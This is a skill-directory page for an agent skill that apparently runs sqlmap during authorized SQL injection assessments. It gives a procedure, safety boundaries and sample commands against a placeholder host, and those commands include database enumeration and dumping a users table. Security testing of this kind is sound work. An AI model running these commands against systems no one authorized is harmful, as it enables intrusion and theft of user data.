# Sqlmap

> Use for controlled SQL injection validation during authorized web and API assessments. Trigger on manually triaged injection candidates, request replay validation, and narrow retests where the least invasive proof path is required.

- Skill: `timsonner/sqlmap` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/sqlmap`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/sqlmap/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/sqlmap

---


# Sqlmap

## Purpose

Use this skill only after manual triage suggests a credible injection candidate and the rules of engagement allow controlled validation.

## Phase Fit

- Primary: Validation and Controlled Impact Demonstration
- Secondary: Vulnerability Analysis, Retest and Closure

## Use When

- Need to validate a likely SQL injection issue with the lowest safe settings.
- Need to replay a captured request during a controlled retest.
- Need a repeatable proof path for an already triaged injection candidate.

## Avoid When

- The issue has not been manually triaged.
- Data extraction or state-changing behavior is not explicitly approved.

## Inputs

- Confirmed target URL or captured request file
- Suspected parameter and auth context
- Approved impact ceiling and stop conditions

## Procedure

1. Start with the lowest risk and level settings.
2. Validate only the specific parameter or request already under review.
3. Keep automated behavior narrow and observable.
4. Stop as soon as the issue is confirmed to the approved standard.
5. Preserve the exact request path and options for retest.

## Command Syntax

Replace sample targets with approved in-scope assets and keep settings conservative.

```bash
# Basic GET parameter injection test
sqlmap -u 'https://portal.contoso.com/item?id=1' --batch --level 1 --risk 1

# Test a saved HTTP request file (e.g., exported from Burp)
sqlmap -r request.txt --batch --level 1 --risk 1

# Authenticated scan with session cookie
sqlmap -u 'https://portal.contoso.com/item?id=1' --cookie='session=<token>' --batch

# POST parameter injection
sqlmap -u 'https://portal.contoso.com/search' --data='query=test&cat=1' --batch

# Enumerate databases (only after confirmed injection)
sqlmap -u 'https://portal.contoso.com/item?id=1' --dbs --batch

# Dump a specific table
sqlmap -u 'https://portal.contoso.com/item?id=1' -D appdb -T users --dump --batch

# Specify DBMS to reduce fingerprinting noise
sqlmap -u 'https://portal.contoso.com/item?id=1' --dbms=mssql --batch --level 1 --risk 1
```

## Evidence to Capture

- The specific parameter or request path that validated
- Preconditions required for the issue to reproduce
- The minimum options needed to reproduce during retest

## Safety Boundaries

- Do not escalate to data dumping or destructive options without explicit written approval.
- Stop immediately if the application shows instability or unintended state changes.